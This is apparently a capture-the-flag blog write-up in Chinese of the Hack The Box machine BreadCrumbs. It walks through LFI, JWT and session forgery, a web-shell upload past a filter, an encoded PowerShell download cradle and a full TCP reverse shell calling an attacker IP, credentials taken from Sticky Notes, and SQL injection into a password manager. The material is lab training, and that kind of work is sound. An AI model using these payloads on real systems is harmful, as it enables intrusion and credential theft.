BreadCrumbs (htb)

0x00 相关模块

  • LFI 本地文件读取
  • php 源码分析
  • python 伪造 JWT 与 `session
  • 文件上传特征绕过
  • sqllite 数据库文件读取
  • linux 二进制文件逆向
  • sql注入
  • aes 加密破解

0x01 初步信息收集

先对目标进行 nmap 扫描

# Nmap 7.95 scan initiated Mon Sep 21 01:42:48 2026 as: /usr/lib/nmap/nmap --privileged -p- --min-rate 1000 -oA nmapscan/portsscan 10.129.45.72
Nmap scan report for 10.129.45.72
Host is up (0.059s latency).
Not shown: 65520 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5040/tcp  open  unknown
7680/tcp  open  pando-pub
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown

# Nmap done at Mon Sep 21 01:43:14 2026 -- 1 IP address (1 host up) scanned in 25.84 seconds

对端口进行详细信息扫描

# Nmap 7.95 scan initiated Mon Sep 21 01:49:07 2026 as: /usr/lib/nmap/nmap --privileged -sV -sC -sT -O -p 22,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49667,49668,49669 --min-rate 1000 -oA nmapscan/detail 10.129.45.72
Nmap scan report for 10.129.45.72
Host is up (0.058s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_  256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp    open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
|_http-title: Library
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql         MariaDB 10.3.24 or later (unauthorized)
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 10 (96%), Microsoft Windows 10 1709 - 21H2 (96%), Microsoft Windows 10 21H1 (96%), Microsoft Windows 10 1903 (95%), Microsoft Windows Longhorn (95%), Microsoft Windows 10 1803 (94%), Microsoft Windows 10 Education Edition 1909 (94%), Microsoft Windows 10 20H2 - 21H1 (94%), Microsoft Windows 10 21H2 (94%), Microsoft Windows 10 1703 or Windows 11 21H2 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-09-21T05:51:00
|_  start_date: N/A
|_clock-skew: -54s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 21 01:52:06 2026 -- 1 IP address (1 host up) scanned in 179.06 seconds

尝试在 smb 服务和 rpc 服务上匿名枚举失败后,我决定去查看 http 服务
image.png
首页是一个图书查询服务,一个半静态页面,做一下目录爆破
image.png
在爆破同时,在页面上尝试更多交互
点击 check books 出现
image.png
是一个图书查询
访问 http://10.129.47.0/portal/ 自动跳转到一个登入页面
image.png

这里可以注册账户,随便注册一个账户尝试登入
image.png
是一个管理面板,但是最重要的 file management 无法进入,怀疑可能需要更高的权限,在 User management 中可以拿到一匹用户名单,但用处不大。
回到先前的页面,我们用 burpsuite 尝试分析。
在该页面点击 book
image.png
会抓到一个包
image.png
其中 book 参数指向某个具体文件,所以怀疑此处可能有 LFI 本地文件包含漏洞

0x02 利用 LFI

2.1 验证LFI

尝试读取 C:\Windows\win.ini 来验证,发现报错
image.png
这里指出了这个函数是 file_get_contents,并且在这里我们上传的参数会被拼接前缀,还有被暴露出的目录 C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php
更换 payload 格式尝试路径穿越
image.png
成功读到,但是 file_get_contents 包含无法直接执行文件内命令,最大价值是读源码,所以我们来读读源码。

2.2 LFI 读取源码

image.png
通过对比路径,我们可以确定网站根路径
C:\Users\www-data\Desktop\xampp\htdocs\
对这个路径我们去扩展读取源码,最感兴趣的肯定是
http://10.129.47.0/portal/login 先前的登入页面
将参数换为 C:\Users\www-data\Desktop\xampp\htdocs\portal\login读取
image.png
两个关键的东西,一个是 JWT 的加密密钥,另一个是一些依赖,我们把他们都读取出来,还有先前关键的 File management 页面
image.png
都读出来
最后是读了这些文件
image.png
先前在请求包中可以看到 cookie 中有两位参数
一个是 login.php 中的 JWT
image.png
一个是 cookie.php 文件中的逻辑
image.png
对应
image.png
并且在 fileController.php 中我们找到了打不开 File management 的原因
image.png
改页面要求用户权限为管理员用户或者为 paul
我们可以尝试伪造 paul 的 JWT 和 session 来登入这个用户

2.3 JWT和session 伪造

用 python 复刻他的生成逻辑

┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ cat JWT.py                 
import jwt

payload = {"data":{ "username":"paul"}}
secret_key='6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e'

encoded_payload = jwt.encode(payload,secret_key,algorithm="HS256")

print(encoded_payload)

┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ python JWT.py
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.4mJguG8tRd2z_feWJpmr_J3AdMeDPvW7GCK7cW7o0AI

拿到 paul 用户的 JWT

再来分析 session 生成
session 生成逻辑主要是去用户名中的一个字母,与固定前缀后缀拼接后进行 md5 加密后再拼接上用户名
image.png
具体实现

┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ cat session.py   
import hashlib

username = "paul"
a = "s4lTy_stR1nG_"
c = "(!528./9890" 

for i in range(len(username)):
    payload = a + username[i] + c
    session=username+hashlib.md5(payload.encode()).hexdigest()
    print(session)

┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ python session.py
paula2a6a014d3bee04d7df8d5837d62e8c5
paul61ff9d4aaefe6bdf45681678ba89ff9d
paul8c8808867b53c49777fe5559164708c3
paul47200b180ccd6835d25d034eeb6e6390

因为有随机性,所以 4 个 session 需要我们尝试碰撞,这里我们用先前的 File management 页面去碰撞,因为他带有对用户 paul的校验

0x03 文件上传利用

3.1 尝试文件上传

利用先前制作的 JWT 和 session 经过几次尝试后就可以登入

image.png
很明显是一个文件上传点,进行一些文件上传的测试
在测试时也需要替换 cookie

Cookie: PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.4mJguG8tRd2z_feWJpmr_J3AdMeDPvW7GCK7cW7o0AI

先尝试创建一个空的 php 文件试试能不能上传,如果能上传就好办了。
尝试之后发现能直接上传 php 文件,但是存放为 zip 后缀
存放路径为 http://10.129.47.0/portal/uploads/ 先前源代码有透露
抓包查看具体什么情况
image.png
下方 test.zip 应该是保存的名字,这里尝试上传一个 php 文件,并在包内将存放名改为 php 后缀看是否能绕过
ok猜想验证成功
image.png
现在尝试上传木马

3.2 文件上传特征检测绕过

尝试上传常用的一句话木马

<?php system($_GET['cmd']);?>

image.png
发现无法上传,可能是某些特征被检测了,换一个特征较少的 payload

<?=`$_REQUEST[c]`;?>

上传成功

3.3 立足点

先尝试命令执行
image.png

可以执行命令,那我们就要尝试去反弹 shell,我先是尝试下载 nc64.exe 但是可能是因为 defender 的原因被落地杀了,所以我尝试文件不落地的方法执行。
先生成 payload

┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ msfvenom -p windows/x64/shell_reverse_tcp -f psh -o shell.ps1 LHOST=10.10.16.20 LPORT=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of psh file: 2971 bytes
Saved as: shell.ps1

然后处理文件不落地的 payload

┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ iconv -t UTF-16LE command |base64 -w0   
cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwAgACIASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4AMgAwAC8AcwBoAGUAbABsAC4AcABzADEAJwApACIACgA=

payload 如下

powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.20/shell.ps1')"

最后我们在 c上执行的命令是这样的

c=powershell -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0AYwAgACIASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4AMgAwAC8AcwBoAGUAbABsAC4AcABzADEAJwApACIACgA=

记得开启 http 服务和监听
发现还是有问题,http 能收到请求,但是没能收到监听,说明是 反弹 shell payload 的问题,更换为特征更小的原始 powershell 命令的反弹 shell

┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ cat shell.ps1              
$ip = "10.10.16.20"
$port = 4444
$c = New-Object Net.Sockets.TCPClient($ip, $port)
$s = $c.GetStream()
[byte[]]$b = 0..65535 | %{0}
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object Text.ASCIIEncoding).GetString($b, 0, $i)
    $sb = ([Text.Encoding]::ASCII).GetBytes((iex $d 2>&1 | Out-String))
    $s.Write($sb, 0, $sb.Length)
    $s.Flush()
}
$c.Close()

成功获取反弹 shell
image.png

0x04 横向移动

4.1 移动到 juliette

因为我们先在是 www-data 用户 他的权限一般很小,所以我们需要横向到其他用户
在 http 目录下 一个文件很可疑
image.png
应该不是 程序的默认目录进行查看
在目录下拿到了一个用户凭证 juliette:jUli901./())!
image.png
用 ssh 连接
image.png
并且可以拿到用户 flag
image.png

4.2 移动到 development

我们能注意到,桌面上有 todo.html
image.png
这里可以注意到 他们提到了要将密码从 微软笔记应用中移动到新的密码管理器 ,可以设想那里有残留的密码。
在互联网上搜索 Microsoft Store Sticky Notes application 的存放路径
Win系统便笺(Sticky Notes)的数据保存位置、迁移和恢复数据_sticky notes文件位置-CSDN博客
这篇文章中提到存放路径为 Users\你的用户名 \AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
image.png
找到该路径,将 plum.sqlite 的三个文件下载下来
并在 kali 上读取
image.png
读取信息
image.png
拿到新的凭据 development:fN3)sN5Ee@g

0x05 提权

5.1 逆向破解

先用新的凭据登入,在 c:\ 根目录下有 development 目录,先前我们进不来
image.png

image.png
将这个文件下载下来

┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ file Krypter_Linux                                                                                                    
Krypter_Linux: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ab1fa8d6929805501e1793c8b4ddec5c127c6a12, for GNU/Linux 3.2.0, not stripped

进行一些检查,发现其为 64 位二进制文件,并且是 linux 依赖
strings 看看可读字符串

┌──(kali㉿kali)-[~/htb/Breadcrumbs]
└─$ strings Krypter_Linux   
/lib64/ld-linux-x86-64.so.2
libcurl.so.4
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable  
curl_easy_cleanup                
curl_easy_init 
curl_easy_setopt           
curl_easy_perform
libstdc++.so.6
_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE                
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev                                                                                        
_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_                                                                                       
_ZNSt8ios_base4InitD1Ev
_ZNSolsEPFRSoS_E   
__gxx_personality_v0  
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6appendEPKcm
_ZNSt8ios_base4InitC1Ev
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev
_ZSt4cout                           
libgcc_s.so.1                    
_Unwind_Resume 
libc.so.6                                                                                                                                        
puts                            
strlen                   
__cxa_atexit                  
__cxa_finalize                
__libc_start_main                                                      
GCC_3.0                             
CXXABI_1.3               
GLIBCXX_3.4 
GLIBCXX_3.4.21   
GLIBC_2.2.5                  
CURL_OPENSSL_4
u/UH                       
[]A\A]A^A_
Krypter V1.2
New project by Juliette.
New features added weekly!
What to expect next update:
        - Windows version with GUI support
        - Get password from cloud and AUTOMATICALLY decrypt!
Requesting decryption key from cloud...
Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords
Server response:
Incorrect master key
No key supplied.
USAGE:  
Krypter <key>
;*3$"
zPLR   
GCC: (Debian 9.3.0-14) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7452
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
pass.cpp
_ZStL19piecewise_construct
_ZStL8__ioinit
_ZL13WriteCallbackPvmmS_           
_Z41__static_initialization_and_destruction_0ii

其中有些东西比较有意思

Krypter V1.2
New project by Juliette.
New features added weekly!
What to expect next update:
        - Windows version with GUI support
        - Get password from cloud and AUTOMATICALLY decrypt!
Requesting decryption key from cloud...
Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords
Server response:
Incorrect master key
No key supplied.
USAGE:  
Krypter <key>

似乎是要一个密钥,然后通过靶机内部的 1234 端口去查询 admin 的密码
也提示了用法,我们尝试逆向他
启动 ghidra

image.png
这里是程序的关键逻辑,会按向逻辑在验证密钥后 向 1234 端口发送请求,并且不用身份验证,所以我们可以绕过密钥破解,直接向端口发送请求。
先看看靶机上端口是否正常开启
image.png
监听本地端口中
那我们直接向该端口发送请求

curl  "http://localhost:1234/index.php?method=select&username=administrator&table=passwords"

返回了 aes_key 密钥
image.png

5.2 sql注入

但是我们还需要 admin 的密码
对于这个 payload 的查询逻辑 可以推测是用数据库查询的,因为带有 select 关键字 推测可能格式为

select aes_key from password WHERE username = administrator

我们尝试 sql 注入

development@BREADCRUMBS c:\Development>curl  "http://localhost:1234/index.php?method=select&username=administrator'&table=passwords" 
select<br />
<b>Fatal error</b>:  Uncaught TypeError: mysqli_fetch_all(): Argument #1 ($result) must be of type mysqli_result, bool given in C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php:18
Stack trace:
#0 C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php(18): mysqli_fetch_all(false, 1)
#1 {main}
  thrown in <b>C:\Users\Administrator\Desktop\passwordManager\htdocs\index.php</b> on line <b>18</b><br />

development@BREADCRUMBS c:\Development>curl  "http://localhost:1234/index.php?method=select&username=administrator''&table=passwords" 
selectarray(0) {
}

development@BREADCRUMBS c:\Development>curl  "http://localhost:1234/index.php?method=select&username=administrator'or 1=1 --+&table=passwords" 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1 Server at localhost Port 80</address>
</body></html>

development@BREADCRUMBS c:\Development>curl  "http://localhost:1234/index.php?method=select&username=administrator'or+1=1+--+&table=passwords" 
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
}


简单测试后发现确实存在 sql 注入,尝试利用
尝试 union 联合注入

curl  "http://localhost:1234/index.php?method=select&username=administrator&table=passwords+union+select+1--+"

image.png
确认回显位,当增加列数来到 2 时报错

curl  "http://localhost:1234/index.php?method=select&username=administrator&table=passwords+union+select+database()--+"

image.png
库名为 bread

curl  "http://localhost:1234/index.php?method=select&username=administrator&table=passwords+union+select+table_name+from+information_schema.tables+where+table_schema=database()--+"

image.png
表名为 passwords
接着爆列名

curl  "http://localhost:1234/index.php?method=select&username=administrator&table=passwords+union+select+column_name+from+information_schema.columns+where+table_schema=database()--+"

image.png
列出了四列 分别是 id account password aes_key
来查询 password 列内的内容试试

curl  "http://localhost:1234/index.php?method=select&username=administrator&table=passwords+union+select+password+from+passwords--+"

image.png
密码为 H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=
我们用 cyberchef 来尝试解密
image.png
成功解密 p@ssw0rd!@#$9890./
登入获得 root flag
image.png

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇